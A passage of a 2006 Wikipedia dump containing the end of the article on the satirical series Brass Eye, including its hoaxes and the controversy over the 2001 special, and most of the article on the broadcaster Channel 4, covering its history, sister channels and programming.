The second episode was called &quot;Drugs&quot;, and is considered by many to be the most successful of the series. In the opening scene, a voiceover tells viewers that there are so many drugs on the streets of Britain, &quot;not even the dealers know them all&quot;. An undercover reporter (Morris) asks a drug dealer in [[London]] for various fictional drugs, including &quot;Triplesod&quot;, &quot;Yellow Bentines&quot; and &quot;Clarky Cat&quot;, leaving the dealer puzzled and increasingly irritated until he tells the reporter to leave. He also asks the dealer if he is the &quot;Boz-Boz&quot;, and claims that he doesn't want his arm to feel &quot;like a fortnight in a bad balloon&quot;. Later on in the episode, in the same area, Morris dresses as a baby with a nappy on his head, and again asks for &quot;triplesod&quot;, and then says that &quot;He had a friend once that got triplejacked with a steeplehammer, and jessops jessops jessops jessops jessops&quot;, repeating the last words to make fun of &quot;drug slang&quot;.

[[David Amess]], the [[Conservative Party (UK)|Conservative]] [[Member of Parliament]] for [[Southend-on-Sea|Southend West]], was fooled into filming an elaborate video warning against the dangers of a fictional Eastern European drug called Cake, and went as far as to ask a question about it in Parliament [http://www.parliament.the-stationery-office.co.uk/pa/cm199596/cmhansrd/vo960723/text/60723w10.htm#60723w10.html_wqn10]. The drug purportedly affected an area of the brain called &quot;Shatner's Bassoon&quot; and was frequently referred to as &quot;a made-up drug&quot;. Other celebrities such as [[Bernard Ingham|Sir Bernard Ingham]], [[Noel Edmonds]] and [[Rolf Harris]] were shown holding the bright-yellow cake-sized pill as they talked, with [[Bernard Manning]] telling viewers that &quot;One kiddy on Cake, cried all the water out of his body. Just imagine how his mother felt. It's a fucking disgrace.&quot; and that someone had &quot;Thrown up their own pelvis&quot;.

Other episodes dealt with the topics of science, animals, and infamously, sex. In one scene of the &quot;Sex&quot; episode, Morris posed as a talk-show host who took a starkly discriminatory attitude in favour of those with &quot;Good [[AIDS]]&quot; (e.g. from a contaminated [[blood transfusion]]) over those with &quot;Bad AIDS&quot; (caught through homosexual activity).
[[Image:Grade.gif|thumb|right|The &quot;Grade is a cunt&quot; subliminal message.]]
The screening of the [[1997]] series was postponed for nearly six months as it made comic reference to murderer [[Myra Hindley]], who was back in the news at the time after her portrait was vandalised in the [[Royal Academy]] exhibition [[Sensation (exhibition)|Sensation]].

[[Michael Grade]], then chief executive of [[Channel 4]], repeatedly intervened to demand edits to episodes of ''Brass Eye'', and rescheduled some shows for sensitivity. This interference outraged Morris, who responded by inserting into the Decline episode the single-frame subliminal message &quot;Grade is a cunt&quot;. This was removed for the DVD release, which also reinstated all of the extant material.

As another insult to Grade, Morris allegedly wrote to [[Nelson Mandela]] telling him that Grade campaigned for him to be kept in prison, and protested upon his release. He also wrote to musician [[Paul Simon]], claiming that Grade always considered [[Art Garfunkel]] the more talented of the duo.

==2001 paedophilia special==
In 2001, the series was repeated, along with a new and entirely original extra show, which tackled the tricky subject of [[pedophilia|paedophilia]] and the associated [[moral panic]] prevalent in the media at the time. 

Celebrities including [[Gary Lineker]] and [[Phil Collins]] appeared in videotaped interviews, in which they endorsed a spoof charity &quot;Nonce Sense&quot; (&quot;[[nonce]]&quot; is a common British slang term for paedophile). [[Tomorrow's World]] presenter [[Philippa Forrester]] and [[ITN]] reporter [[Nicholas Owen (journalist)|Nicholas Owen]] amongst others were tricked into explaining the details of &quot;HOECS&quot; (pronounced &quot;hoax&quot;) computer games, which online paedophiles were supposed to be using to abuse children via the [[Internet]]. These fairly simple plays on words were opaque enough that none of the guest celebrities understood that they were being lampooned until the show was aired, in spite of what often seems to the viewer like plainly absurd subject matter. The [[Capital Radio]] DJ &quot;Doctor&quot; [[Neil Fox]], for example, informed viewers that &quot;paedophiles have more genes in common with [[crab]]s than they do with you and me&quot;, before qualifying his remarks with &quot;Now that is [[scientific fact]] - there's no real [[evidence]] for it - but it ''is'' scientific fact&quot;. Viewers were also told by MP [[Syd Rapson]] that paedophiles were using &quot;an area of Internet the size of [[Ireland]]&quot;, and by [[Richard Blackwood]] that [[computer keyboard]]s emit noxious fumes in order to subdue children (Blackwood even claimed to be able to smell the fumes, which he remarked smelled like 'hammers', to much later derision).  

[[Image:BrassEye-MilitPede.jpg|thumb|right|250px|Sequence from the special episode on paedophilia, in 2001]]

In one segment, the studio is &quot;invaded&quot; by members of a fictional paedophilia advocacy organization called MILIT-PEDE and the programme appears to suffer a short technical disturbance. When the show returns, presenter Chris Morris confronts a supposed spokesman, Gerard Chote (played by [[Simon Pegg]]) who has been captured and placed in a [[pillory]], and asks him whether he wants to have sex with his six-year-old son. Hesitantly, the spokesman looks at the boy and refuses, explaining, &quot;I don't fancy him&quot;, which then drives Morris to further indignation that his son is found unattractive. Morris later claimed that the child actor was not present during filming, and was incorporated digitally in [[post-production]], but this scene was one of the key causes of the media backlash which followed its first broadcast.

Around 2000 complaints (and approximately 3000 calls of support) were received regarding the show, and some [[politician]]s hastily spoke out against Morris. [[David Blunkett]] said he was &quot;dismayed&quot; by the show, and [[Beverley Hughes]] described it as &quot;unspeakably sick&quot; (while admitting that she had not seen the programme). Although she did not criticise the show, [[Tessa Jowell]] was reported as asking the [[Independent Television Commission]] to revise its rules to allow such a controversial show to be prevented from broadcast [http://www.guardian.co.uk/uk_news/story/0,,529528,00.html]. There was also a vociferous [[tabloid]] campaign against Morris, who refused to discuss the issue. The episode went on to win a Broadcast magazine award in [[2002]] and the complete series, including the 2001 special, was released as a bestselling [[DVD]] later that year.

The show caused a furor among sections of the British tabloid press, with the ''[[Daily Mail]]'' leading the fray. Some have pointed out the ironic fact that ''[[The Daily Star]]'' printed an article decrying Morris and the show next to a piece about the then 15-year-old singer [[Charlotte Church]]'s breasts under the headline &quot;She's a big girl now&quot;. Additionally, the Daily Mail featured pictures of Princesses [[Princess Beatrice of York|Beatrice]] and [[Princess Eugenie of York|Eugenie]], who were 13 and 11 at the time respectively, in their bikinis next to a headline describing Brass Eye as &quot;Unspeakably Sick&quot;[http://mysite.wanadoo-members.co.uk/Monobrow/star-1.jpg], [http://observer.guardian.co.uk/screen/story/0,6903,532307,00.html]. Defenders of the show argued that its satire of the media's articifial [[hysteria]] and hypocrisy on the subject of paedophilia was proved accurate by the ensuing moral panic towards the very programme itself.

==References to and appearances of celebrities by episode==

===Animals episode===

*Celebrities appearing:
**[[Carla Lane]]
**Sir [[Peregrine Worsthorne]]
**[[Oliver Skeete]]
**[[Jilly Cooper]] (via phone only)
**[[Britt Ekland]]
**[[Paul Daniels]]
**[[Michael Van Wijk|Wolf]] the Gladiator (U.K.)
**[[Nicholas Parsons]]
**[[Alexandra Paul]] (via phone only)

*Celebrities mentioned but not appearing:
**[[Charles Dickens]]
**[[Prince Albert]]
**[[Michael Heseltine]]
**[[Kenneth Clarke]]
**[[Tony Benn]]
**[[Jack Ashley]]
**[[Jimmy Page]]
**[[Desmond Morris]]
**[[Ralph Fiennes]]

===Drugs episode===

*Celebrities appearing:
**[[Bernard Ingham]]
**[[Bruno Brookes]]
**[[Rolf Harris]]
**[[Bernard Manning]]
**[[Noel Edmonds]]  
**[[David Amess]] MP
**[[Claire Rayner]]
**[[Jimmy Greaves]]
**[[Jas Mann]]

*Celebrities mentioned but not appearing:
**[[Liam Gallagher]]
**[[Michael Portillo]]
**[[Margaret Thatcher]]
**[[Elizabeth II of the United Kingdom|Queen Elizabeth II]]

===Science episode===

*Celebrities appearing:
**[[Eve Pollard]]
**[[Tania Bryer]]
**[[John McCririck]]
**[[Tamara Beckwith]]
**[[Richard Briers]]
**[[Nicholas Owen (journalist)|Nick Owen]]
**[[Steven Berkoff]]
**[[Lynne Franks]]
**[[Jenny Powell]]
**[[Caesar the Geezer]]

*Celebrities mentioned but not appearing:
**[[Mohammed Al-Fayed]]
**[[Jas Mann]]
**[[Michael Jackson]]
**[[Hilary Clinton]]
**[[Donald Fagen]]
**[[Jacques Santer]]
**[[Donald Trump]]
**[[Saddam Hussein]]
**[[Michael Collins (astronaut)|Michael Collins]]
**[[Buzz Aldrin]]
**[[Neil Armstrong]]

===Sex episode===

*Celebrities appearing:
**[[Claire Rayner]]
**[[Peter Stringfellow]]
**[[David Sullivan]]
**[[Peter Tatchell]]

*Celebrities mentioned but not appearing:
**[[Kenneth Clarke]]
**[[Robin Cook]]
**[[Bono]]
**[[Peter Sissons]]
**[[Jack Straw]]
**[[Michael Howard]]
**[[Joanna Lumley]]
**[[Anita Roddick]]
**[[Helena Bonham Carter]]

===Crime episode===

*Celebrities appearing:
**Sir [[Rhodes Boyson]]
**'Mad' [[Frankie Fraser]]
**[[Tommy Vance]]
**[[Geoffrey Boycott]]
**[[Michael Winner]]
**[[Vanessa Feltz]]
**[[David Sullivan]]

*Celebrities mentioned but not appearing:
**[[Michael Howard]]
**Sir [[Paul McCartney]]

===Moral Decline episode===

*Celebrities appearing:
**[[John McCririck]]
**[[Darcus Howe]]
**[[John Challis]]
**[[Frankie Fraser]]

*Celebrities mentioned but not appearing:
**[[Terry Waite]]
**[[Peter Sutcliffe]]
**[[Myra Hindley]]
**[[Clive Anderson]]
**[[Noel Edmonds]]
**[[Thomas Hamilton]]
**[[Michael Grade]] (original broadcast only)

===Brass Eye special===

*Celebrities Appearing:
**[[Gary Lineker]]
**[[Andy McNab]]
**[[Gerald Howarth|Gerald Howarth MP]]
**[[Sebastian Coe, Baron Coe|Lord Coe]]
**[[Neil Fox|Neil &quot;Dr.&quot; Fox]]
**[[Syd Rapson|Syd Rapson MP]]
**[[Phil Collins]]
**[[Barbara Follett|Barbara Follett MP]]
**[[Nicholas Owen (journalist)|Nicholas Owen]]
**[[Michael Hames]]
**[[Philippa Forrester]]
**[[Kate Thornton]]
**[[Richard Blackwood]]

==External links==
*{{imdb title | id=0118273 | title=Brass Eye}}
*[http://observer.guardian.co.uk/screen/story/0,6903,532307,00.html Why Chris Morris had to make ''Brass Eye'']
*[http://chilled.cream.org/forums/portal.php Cook'd And Bomb'd - Extensive Chris Morris fansite]

[[category:British television comedy]]
[[category:Satirical television programmes]]
[[Category:Channel 4 television programmes]]
[[Category:Parodies]]</text>
    </revision>
  </page>
  <page>
    <title>Channel 4</title>
    <id>6321</id>
    <revision>
      <id>41812154</id>
      <timestamp>2006-03-01T22:31:55Z</timestamp>
      <contributor>
        <username>Campdavid</username>
        <id>28026</id>
      </contributor>
      <minor />
      <comment>/* Independence: 1990&amp;ndash;Today */</comment>
      <text xml:space="preserve">{{alternateuses}}
{{Infobox TV channel|
 name= Channel 4|
 logosize=174px|
 logofile=C4_logo_cutout.png|
 logoalt=Channel 4 logo is now cut out from a white background, and is shown in moving distortions that reveal program-specific graphics underneath. |
 launch=[[2 November]] [[1982]]|
 share=9.6% (with S4C)  |
 share as of= Jan '06 |
 share source= [http://www.barb.co.uk/viewingsummary/monthreports.cfm?report=monthgmulti]|
 owner= Channel 4 Television Corporation &lt;BR&gt; (public not-for profit established by an act of UK parliament) |
 web= [http://www.channel4.com www.channel4.com] |
 terr serv 1=[[Analogue television in the United Kingdom|UK analogue]]|
 terr chan 1=''Usually Channel 4'' |
 terr serv 2=[[Freeview]] |
 terr chan 2=Channel 4 &lt;BR&gt; (Channel 8 in Wales) |
 sat serv 1=[[Sky Digital]]|
 sat chan 1=Channel 104&lt;BR&gt; (Channel 117 in Wales)|
 cable serv 1= [[Telewest]]|
 cable chan 1= Channel 104| 
 cable serv 2= [[NTL]]|
 cable chan 2= Channel 104|
 cable serv 3= [[NTL Ireland]]|
 cable chan 3= Channel 108|
 dummy parameter=|
|}}
'''Channel 4''' is a public service [[television]] broadcaster in the [[United Kingdom]] (see [[British television]]). It was created by an [[Act of Parliament]] and started broadcasting on [[November 2]], [[1982]]. Like the nation's long established public service broadcaster, the [[BBC]], it has gifted broadcasting frequencies, but it does not receive funding from the Television Licence income. All programming is financed through its commercial activities, which includes advertising.

It is a publicly owned corporation whose board is appointed by [[OFCOM]], in agreement with the [[Secretary of State for Culture, Media and Sport]]. Like the BBC it has a [[public service broadcasting|public service]] remit. It also has an obligation to provide schools programming.

Channel 4 nominally broadcasts only in [[England]], [[Scotland]], and [[Northern Ireland]]. In [[Wales]], its equivalent is [[S4C]], which broadcasts a mix of Channel 4 programming along with [[Welsh language]] programmes. However, Channel 4 is also received in border areas of Wales, and now broadcasts throughout the principality on Freeview, the digital terrestrial TV service. While Channel 4, like [[UTV]], is not &quot;officially&quot; available in the [[Republic of Ireland]], it is broadcast on Cable/MMDS operators Chorus and NTL. So far the channel transmits encrypted on Sky Digital and cannot be viewed outside the UK.

==History==
===IBA Control: 1982&amp;ndash;1990===

Before Channel 4, Britain had three terrestrial television channels: [[BBC1]], [[BBC2]] and [[ITV]]. The 1980 Broadcasting Act began the process of adding a fourth, and Channel 4 was formally created by an Act of Parliament in 1982. After some weeks of test broadcasts it began scheduled transmissions on [[November 2]] [[1982]].
[[Image:C4logo82-96.jpg|thumb|150px|right|The original Channel 4 logo, used from 1982&amp;ndash;1996]]
From the start, the channel set out to provide an alternative to the existing channels. In doing so it sometimes, in the eyes of its critics (including the public decency campaigner [[Mary Whitehouse]]), overstepped the boundaries of acceptability, but it has arguably led to a liberalisation of the UK television industry. Programming such as the &quot;[[red triangle]]&quot; series, ''[[The Tube (TV series)|The Tube]]'', and ''Network 7'' often straddled the boundary between being pioneering and being beyond the pale.

Channel 4 was one of the first &quot;publishing only&quot; television broadcasters in the world. All of its programming is produced by other companies; it exists only to fund, broadcast and distribute it. It was also the first broadcaster in the world to put its name on the introduction or credits of programmes it did not produce, a practice that is now widespread. For example, at the end of a programme, the independent producer's logo appears, with the words 'a [name of company] production for Channel Four' and 'Channel Four Television Corporation (c) [year of production]'. Thus although it does not produce programmes, many are seen to be belonging to it. 

Initially, the station was managed by the [[Independent Broadcasting Authority]] through subscription from the ITV franchise holders. In return, advertising on the channel (and advertising revenue) was handled by the ITV regions. This both removed the need for Channel 4 to establish its own relationships with advertisers, and kept it from competing too closely with ITV.

While the channel greatly pleased many minority groups, it never found a wide mainstream audience.

Channel 4 also funded independent films during this period, in addition to made-for-TV material.

===Independence: 1990&amp;ndash;Today===
[[Image:C4logo96-99.png|thumb|150px|right|The Channel 4 logo used from 1996&amp;ndash;1999. The four circles appeared in various configurations.]]
[[Image:Ch4logo.gif|thumb|150px|right|The previous Channel 4 logo, used from 1999&amp;ndash;2004. The white square background is part of the logo.]]
The 1990 Broadcasting Act [http://www.ofcom.org.uk/licensing_numbering/tv/c4/Channel_4_licence_Dec_2002.doc] altered the organisation of Channel 4, transforming it into a public corporation with a board partly appointed by the new [[Independent Television Commission]]. While its original remit was preserved, the channel now had to manage its own advertising (a potential disaster for a public service broadcaster), with a 'safety net' guaranteed minimum income should the revenue fall too low (which it so far has not). This safety net was funded by large insurance payments which the company had to make to the ITV companies. These premiums were phased out by the government in [[1998]].

Its new independence helped bring in a rash of programming changes. Instead of aiming for the fringes of society, it began to focus on the edges of the mainstream, and the centre of the mass market itself. It began to show many US programmes in peak viewing time, previously a rarity on UK terrestrial television. It premiered such shows as ''[[Friends]]'' and ''[[ER (TV series)|ER]]''.

It also started broadcasting a lot of reality formats (including ''[[Big Brother (UK TV series)|Big Brother]]''), and sports like [[cricket]] and [[horse racing]]. This new direction caused its ratings (and revenues) to skyrocket. However, the Channel 4 contract to broadcast test match cricket ceased with the end of the Summer 2005 [[The Ashes | Ashes]] series.

In addition, it launched a number of subscription channels. These included a number of [[FilmFour]] channels, focusing on independent and non-English language films; [[At the Races|attheraces]], a horse racing channel; and [[E4 (channel)|E4]], primarily an entertainment channel. Some of the FilmFour channels were discontinued due to a lack of interest.

In 2002, Channel 4's film financing division (FilmFour) was closed, due to massive losses. It had however had various successes, most notably ''[[Four Weddings and a Funeral]]'' and ''[[Trainspotting (movie)|Trainspotting]]''.

Partially in reaction to its new populist direction, the Communications Act of 2003 directed the channel to demonstrate innovation, experimentation and creativity, appeal to the tastes and interests of a culturally diverse society and to include programmes of an educational nature which exhibit a distinctive character.

In 2005, Channel 4 made E4 'free to air' on the Freeview platform, and now has launched a new 'free to air' terrestrial channel on the same platform ([[More4]]). Channel 4 also may begin a new radio service based on [[Oneword]].

==Management==
Channel 4 is run by a chief executive, whose role is similar to that of the [[Director-General of the BBC]]. The chief executive is appointed by the chairman, which is a part-time position appointed by [[Ofcom]].

===Chairmen===
* [[Edmund Dell]] (1982&amp;ndash;1987)
* [[Richard Attenborough]] (1987&amp;ndash;1992)
* [[Michael Bishop (businessman)|Michael Bishop]] (1993&amp;ndash;1997)
* [[Vanni Treves]] (Jan 1998&amp;ndash;Dec 2003)
* [[Luke Johnson]] (Jan 2004&amp;ndash;)

===Chief executives===
* [[Jeremy Isaacs]] (1981&amp;ndash;1987)
* [[Michael Grade]] (1988&amp;ndash;1997)
* [[Michael Jackson (TV)|Michael Jackson]] (1997&amp;ndash;2001)
* [[Mark Thompson]] (Mar 2002&amp;ndash;June 2004)
* [[Andy Duncan]] ([[July 19]], 2004&amp;ndash;)

Andy Duncan was appointed on [[July 1]], [[2004]]. He was previously the Director of Marketing, Communications and Audiences at the [[BBC]].

==Other channels==
===[[FilmFour]]===
Channel 4 has had a long record of success in funding the production of films through Channel Four Films, later renamed FilmFour in [[1998]] to coincide with the launch of its digital channels. Among its biggest successes are ''[[The Madness of King George]]'', ''[[The Crying Game]]'', and ''[[Four Weddings and a Funeral]]''. However, this dedicated film-making wing was scaled back in [[2002]] as a cost-cutting measure in the face of substantial losses.

Channel 4 launched a subscription [[film]] channel, FilmFour, in [[November]] [[1998]]. It is available on analogue and digital [[satellite television]] and digital cable. Companion services, such as FilmFour+1, FilmFour World and FilmFour Extreme were also available on some digital services. In [[2003]] Extreme and World were discontinued, and replaced with FilmFour Weekly. FilmFour Weekly will close in July 2006, when the main FilmFour channel goes free-to-view and becomes available on [[Freeview]].

When Channel 4 had the rights to broadcast test match [[cricket]] in England, the Film Four channel was sometimes used to broadcast parts of a match when the main channel was committed elsewhere. At these times Film Four was available free-to-air.

===[[attheraces]]===
Channel 4 launched a dedicated horse racing channel, attheraces, in 2000, however for a combination of financial and legal reasons the channel ceased broadcasting in 2003. It was subsequently bought by [[BSkyB]] and relaunched in June [[2004]], but Channel 4 no longer has any involvement with it. However Channel 4 continue to broadcast programmes named &quot;attheraces&quot; on their channel, when they are covering live horse racing.

===[[E4 (channel)|E4]]===
E4, a digital entertainment channel previously available on the [[Internet]], was launched in January [[2001]]. It features premieres of US imports and supplementary footage for programs on its main channel (most notably extended ''Big Brother'' coverage).

In [[2005]] it launched on the [[Freeview]] service. E4 now has as much coverage as other services available on Cable, Satellite and Freeview like [[ITV2]] and [[BBC Three]]. It is a very successful channel with a ''first look'' or sneak peek, with the next episode of some series, such as ''[[Hollyoaks]]'', ''[[Desperate Housewives]]'' and ''[[Lost (TV series)|Lost]]'' appearing on E4 immediately after the show on Channel 4 has finished. Also they have &quot;Second Chance Sunday&quot; which allows you to see missed programmes on a Sunday.

===[[T4 (Channel 4)|T4]] ===
T4 is a separately identified strand carried on Channel 4 and briefly on E4 until 2002. It consists of programming in the mornings seven days a week for an age range of around 13&amp;ndash;25. 

Music, soaps and US comedy shows all feature as part of the schedule on T4. Famous programmes include the ''[[Hollyoaks]] Omnibus'', ''[[Will &amp; Grace]]'' and ''[[Friends]]'', with popular US animation ''[[Futurama]]'' airing weekend mornings too.

===[[Quiz Call]]===
Quiz Call is a television channel on which puzzles and questions are displayed and viewers invited to call in to win prizes. The channel launched on August 30, 2005, and is available on Sky, Freeview (channel 37) and NTL cable. The channel makes no mention of its connection with Channel 4 on-screen or on its website.

===[[More4]]===
More4 is a channel aimed at more upmarket 35 to 60 year olds. It was launched on 10th October 2005. The channel also carries news and nightly discussion programmes, such as &quot;More4 News&quot; an extension of Channel 4 News which brings you in-depth reports on the news happening.  Advertising prior to the launch of the channel flaunted HBO shows such as ''Curb Your Enthusiasm'' and ''The Sopranos'', as well as ''The West Wing'' from NBC.

===4Learning===
4Learning produces innovative and thought-provoking [[multimedia]] services for schools and learners of all ages in the [[United Kingdom]]. More than 400 hours of its [[programming]] is broadcast on [[Channel 4]] in the [[UK]](excluding [[Wales]])each year. One of its well known programmes is [[The Hoobs]]. But between 1987-1993 the schools service was ran by [[ITV]] as ITV Schools on 4.

===FourDocs===
FourDocs is an Online service from Channel 4. FourDocs is a broadband documentary channel that celebrates all aspects of the documentary genre. It allows users to upload their own documentaries to the website for others to watch. The videos need to be 4 minutes long.

[http://www.channel4.com/fourdocs/ FourDocs Homepage]

===Future proposals===
On [[27 February]] 2004 it was reported that Channel 4 and [[Five (TV)|Five]] were discussing a possible merger. Because of the special nature of Channel 4, any such merger would have required an Act of Parliament. However in November 2004, Channel 4 pulled out of the discussions. Subsequently, Five has now been bought by [[RTL_Group|RTL]].

In [[August]] 2004 the news came that Channel 4 is planning a [[digital radio]] station using the licence currently belonging to Oneword radio. For more information, see the article [[Oneword]].

In [[September 2004]] Channel 4 spent [[Pound Sterling|£]]55m reserving space for up to 14 channels on [[SES Global]]'s [[Astra 2D]] satellite before the limited amount of air space is filled, though some of this may be filled with Channel 4's existing channels when more expensive contracts with [[BSkyB]] expire in [[2008]].

Also in September, the television regulator, [[Ofcom]], announced it was looking into creating a new public-service broadcasting license for a channel broadcasting three hours per day dedicated to factual and current affairs programming. The new channel, if it is approved, will probably not be funded by advertising, and may be a subscription channel or funded by a top-up to the BBC's license fee. It was widely suggested in the news that Channel 4 would be the most likely candidate to run the new channel.

In May 2005, E4 (which was previously a subscription channel via [[Top Up TV]] on the digital terrestrial platform) went free-to-air at the same time as E4+1 arrived on Freeview, on the opening day of the sixth season of ''[[Big Brother (UK TV series)|Big Brother]]''.

At an unspecified date, Channel 4 is planning to launch a channel devoted to programming imported from the [[United States]]  such as ''[[Lost (TV Series)|Lost]]'', ''[[Desperate Housewives]]'', ''[[ER (TV series)|ER]]'' and ''[[L.A. Law]]'' (dubbed C4US). [http://www.digitalspy.co.uk/article/ds26081.html]

==Programming==
One of the channel's strengths is its [[comedy]] mostly shown on a [[Channel 4 Friday Comedy|Friday night]]. In the early days they screened ''[[The Comic Strip Presents]]'', a highly innovative series of hour-long one-off comedies produced by a rotating line-up of alternative comedians such as [[Rik Mayall]], [[Adrian Edmondson]], [[Dawn French]], [[Jennifer Saunders]], [[Peter Cook]], [[Peter Richardson]], and [[Alexei Sayle]]. ''[[The Tube (TV series)|The Tube]]'' and ''[[Friday Night Live]]'' also launched the careers of a number alternative comedians. Latterly they have aired cutting-edge comedy shows such as ''[[Brass Eye]]'', ''[[The Mark Thomas Product]]'', ''[[Peter Kay's Phoenix Nights]]'', ''[[Drop the Dead Donkey]]'', ''[[Desmond's]]'' and arguably its biggest mainstream hit ''[[Father Ted]]''. Recently added to Channel 4 is ''[[The IT Crowd]]''.

The first voice ever heard on Channel 4 was that of [[continuity announcer]] [[Paul Coia]], who intoned, &quot;Good afternoon. It's a pleasure to be able to say to you: Welcome to Channel Four&quot;, before heading into [http://www.vintagebroadcasting.org.uk/video/c4opening.mpg a montage of clips from its programmes] (link to video clip) set to the station's [[Lord David Dundas]]-penned signature tune, ''Fourscore'', which would form the basis of the station's jingles for its first decade. The first programme to air on the channel was the teatime [[game show]] ''[[Countdown (game show)|Countdown]]'', produced by [[Yorkshire Television]]; it is still running as of 2006 and is contracted until 2009. 

In contrast to the other terrestrial TV channels, Channel 4 makes none of the programmes it broadcasts, because it is known as a ''publishing only'' television channel and partly as a result of the terms under which it was founded. Its critically acclaimed news service, [[Channel 4 News]], is supplied by [[Independent Television News (ITN)|ITN]], and the channel commissions all of its programmes from outside companies.

The channel has established a tradition of broadcasting the [[animated film]] of [[Raymond Briggs]]'s picture book ''[[The Snowman]]'', which in [[1982]] was the new channel's first major animated commission, every [[Christmas]]. From [[2002]], the film was controversially cropped from its original 4:3 picture format to the current widescreen standard of 16:9.

Channel 4 was the first UK broadcaster to use stranded programming with slots such as ''[[4 Mation]]'' showing innovative animation. Under Isaacs the channel also gained a reputation for programmes on the contemporary arts.

Channel 4 pioneered the concept of 'after the pub' television, with series such as ''[[Who Dares Wins (TV comedy)|Who Dares Wins]]'', ''[[Tonight with Jonathan Ross]]'', ''[[Friday Night Live]]'' and ''[[The Word]]'' broadcast in the 10 &amp;ndash; 11pm slot. 

In 1989 the Channel launched a [[breakfast television]] slot produced by [[Mentorn Films]], called the ''[[Channel 4 Daily]]''. In 1992 this was replaced by ''[[The Big Breakfast]]''. After the massive failure of ''[[RI:SE]]'' the channel has quit original programming for the breakfast TV slot in favour of repeats. Now T4 runs the early morning slots on weekdays to replace ''[[RI:SE]]'' with popular shows like ''[[Friends]]'' showing every weekday morning. (This was temporarily interrupted in early [[2006]] with the show [[Morning Glory (TV show)|Morning Glory]], designed to keep the audience following the early morning transmission of [[Big Brother's Little Brother|Big Brother's Little Breakfast]]).

On [[November 4]], [[2003]], Channel 4 screened its final episode of ''[[Brookside]]'', a [[soap opera]] which had run for the 21 years since the channel started. 

For years, Channel 4 has broadcast episodes of the most popular [[situation comedies| situation comedies]] from the [[United States]] on Friday nights. In 2004, Friday-night sitcoms on Channel 4 included ''[[Friends]]'', ''[[Sex and the City]]'' and ''[[Will &amp; Grace]]''. American drama is also a key part of Channel 4's portfolio, initially with ''[[NYPD Blue]]'' and ''[[ER (television series)|ER]]''. These were followed by ''[[Without a Trace]]'', ''[[The West Wing (television)|The West Wing]]'' and ''[[Six Feet Under]]''.
Many of these programmes are shown (and notably edited) for their Sunday morning [[T4 (Channel 4)|T4]] slot. 

Channel 4 is also noted for the screening of ''[[Big Brother (UK TV series)|Big Brother]]''. Based on the original Dutch format, the UK version has attracted massive press attention for each of its six series from 2000 to date. 

Channel 4 also has a strong reputation for history programmes and real-life documentaries. It has also courted controversy, for example by broadcasting live the first public [[autopsy]] to be carried out in the UK for 170 years, carried out by [[Gunther von Hagens]] in [[2002]], or the [[2003]] one-off stunt ''[[Derren Brown]] Plays Russian Roulette Live''.

The television chef [[Jamie Oliver]] could not reach a deal with the BBC after his contract with them expired in [[December]], [[2002]]. Channel 4 took him up. Since this happened, Jamie Oliver has created a number of documentaries such as ''[[Jamie's Kitchen]]'', ''[[Jamie's School Dinners]]'', which was broadcast to coincide with his campaign to improve the quality of school dinners, and ''[[Jamie's Great Escape]]''.

Starting in [[2004]], Channel 4 began a promotion of its channel consisting of the broadcast of short clips between programs of British or American actors, alongside presenters of Channel 4 programmes, answering more or less personal questions, such as &quot;What animal do you feel most compatible with?&quot;, &quot;What would you be doing if you weren't an actor?&quot;. One such clip featured actors saying their favourite [[swear word]]s.

Since [[5 November]] [[2004]], Channel 4 has had the British terrestrial rights to show new-to-terrestrial episodes of ''[[The Simpsons]]'', in addition to several of the classic seasons, rights that had previously been held by the [[BBC]] since the show started airing on British terrestrial (1996). This was considered a major scoop for Channel 4, which began promoting ''The Simpsons'' nearly a month in advance, using 18-frame teasers for the show (made up of various characters' faces being created using different-coloured Channel 4 logos) to lead into commercial breaks from October 8th onward. When it started airing in November 2004, seasons 2-5 of the show were repeated weekdays at 6pm, with new and newer episodes from seasons 11 &amp; 12 Fridays at 9pm. From January 2006, C4 lost the rights to seasons 2 and 3 to Sky, but showed Season 6 in November 2005. More new episodes are scheduled to start airing in the post-watershed slot (Season 13) soon.

In January [[2005]], Channel 4 gained the rights to show the hugely popular US comedy ''[[Desperate Housewives]]''. It became a ratings landslide, having received 6 million viewers and getting 3rd place in the ratings.

In [[August]] [[2005]], Channel 4 started showing the [[United States|US]] TV show ''[[Lost (TV series)|Lost]]'' after a lengthy advertising campaign that included a 60-second commercial, shot by [[David LaChapelle]], that featured the cast and cost over £1 million, becoming the most expensive advertisement produced in the UK. This gamble seems to have paid off, however; [[Lost (TV series)#The Pilot|the pilot episode]] was watched by over 6 million viewers, placing it second in the overall ratings for the channel this year, Big Brother securing the top spot. Thursdays saw Ricochet's canine Supernanny Victoria Stilwell tame Britain's worst dogs as ''It's Me or the Dog'' launched onto screens. It lasted six episodes in Series 1, earning record ratings and a second series launched in January 2006.

In [[October]] [[2005]] Channel 4 began broadcasting the [[UK]] version of [[Endemol|Endemol's]] worldwide smash game show [[Deal Or No Deal (UK)|Deal or No Deal]]. Despite being broadcast at a relatively slow time slot - 4.15pm weekdays and 4.25pm Saturdays - the show, presented by [[Noel Edmonds]], has on some occasions been the most-watched show on the channel.

Channel 4 and its associated channels do not cut programmes or movies for commercial timing purposes.

==Audience records==
The highest audience ever attained by Channel 4 was 13.8 million for the film ''[[A Woman of Substance]]'', broadcast on [[4 January]] [[1985]]. 

Excluding films, the channel's highest rating was 10 million viewers for the final of the third series of ''[[Big Brother (UK TV series)|Big Brother]]'' on [[27 July]] [[2002]]. The channel's daily share of viewing on that date was 22.8%, then the highest recorded by the station. This record was beaten on Monday [[12 September]], [[2005]], the final day of the [[2005 Ashes]], when the channel's daily share of viewing in UK homes was recorded as 23.2%. This was also the first time that Channel 4 had been the highest-rating UK television station across a 24-hour period.

==Building==
[[Image:Channel 4 Building - Horseferry Road - London - 310504.jpg|right|thumb|The Channel 4 building]]

Channel 4 occupies a distinctive, purpose-designed building on Horseferry Road, [[City of Westminster|Westminster]], designed by [[Richard Rogers|Richard Rogers Partnership]] with [[structural engineer|structural engineering]] by [[Ove Arup &amp; Partners]]. It follows on from, but is more restrained than, the [[Lloyd's building]] in the [[City of London]], and was constructed from [[1991]]&amp;ndash;[[ 1994|94]]. It was built on the former site of a [[Methodism|Methodist]] teacher-training college, which occupied a neo-Gothic campus intermittently from its foundation in [[1851]] until [[World War Two]], when the buildings were badly damaged by an incendiary bomb. The College eventually moved to a purpose-built site in [[Oxford]] in [[1959]] and became [[Westminster College, Oxford]].

==Advertising regions==

[[Image:Channel_4_regions.png|thumb|200px|right|The six advertising regions]]

